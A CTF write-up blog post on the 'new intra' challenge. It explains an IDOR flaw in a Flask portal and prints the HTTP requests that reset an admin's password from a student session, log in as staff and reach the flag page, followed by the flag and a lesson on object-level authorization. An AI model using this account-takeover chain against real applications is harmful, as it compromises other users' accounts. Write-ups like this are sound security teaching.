1337 Local CTF: new intra — IDOR → Staff Login → Admin Page

193 words
1 minute
1337 Local CTF: new intra — IDOR → Staff Login → Admin Page

new intra#

Challenge Context#

The target was a Flask/Werkzeug intra-style portal with student login, staff login, profile editing, a dashboard, and admin-only pages.

Attack Chain#

Register student account
-> PUT /api/profile/1 IDOR
-> change admin bocal's password
-> POST /api/staff as bocal
-> GET /admin
-> flag

Reconnaissance#

Key endpoints:

EndpointPurpose
POST /api/registercreate student account
POST /api/loginstudent login
POST /api/staffstaff login
PUT /api/profile/<id>profile update
GET /adminadmin page with flag
GET /flagred herring; did not expose the final flag path

The important bug was that PUT /api/profile/<id> checked that the request had a valid session, but did not check that the session user owned <id>.

Vulnerability / Core Idea#

This is an IDOR / Broken Object Level Authorization issue:

authenticated user A can modify profile object B by changing the URL id

Admin users were enumerable. UID 1 was bocal, an admin account.

Exploitation#

  1. Register a normal student account.
  2. Use that student’s session cookie to update UID 1:
PUT /api/profile/1 HTTP/1.1
Host: 104.199.105.242:1337
Content-Type: application/json
Cookie: session=<student-session>
{"password":"REDACTED_TEST_PASSWORD"}
  1. Authenticate through the staff endpoint, not the normal student endpoint:
POST /api/staff HTTP/1.1
Host: 104.199.105.242:1337
Content-Type: application/json
{"username":"bocal","password":"REDACTED_TEST_PASSWORD"}
  1. Visit /admin with the staff session.

Flag#

leet{h4ck3d_b0c4l_v14_1d0r_m4ss_4ss1gn}

Lesson Learned#

AuthN is not AuthZ. It is not enough to verify that a user is logged in; every object-level update must verify ownership or role authorization.


Cover: Wallhaven og33jl.

Share Article

If this article helped you, please share it with others!

1337 Local CTF: new intra — IDOR → Staff Login → Admin Page
https://achux21.github.io/posts/1337-local-ctf-new-intra/
Author
ACHUX21
Published at
2026-06-27
License
CC BY-NC-SA 4.0
Profile Image of the Author
ACHUX21
CTF player & security researcher
Notice
CTF writeups and security research. New posts coming soon.
Music
Cover

Music

No playing

0:00 0:00
No lyrics available
Categories
Tags
Site Statistics
Posts
28
Categories
3
Tags
81
Total Words
26,137
Running Days
0 days
Last Activity
0 days ago

Table of Contents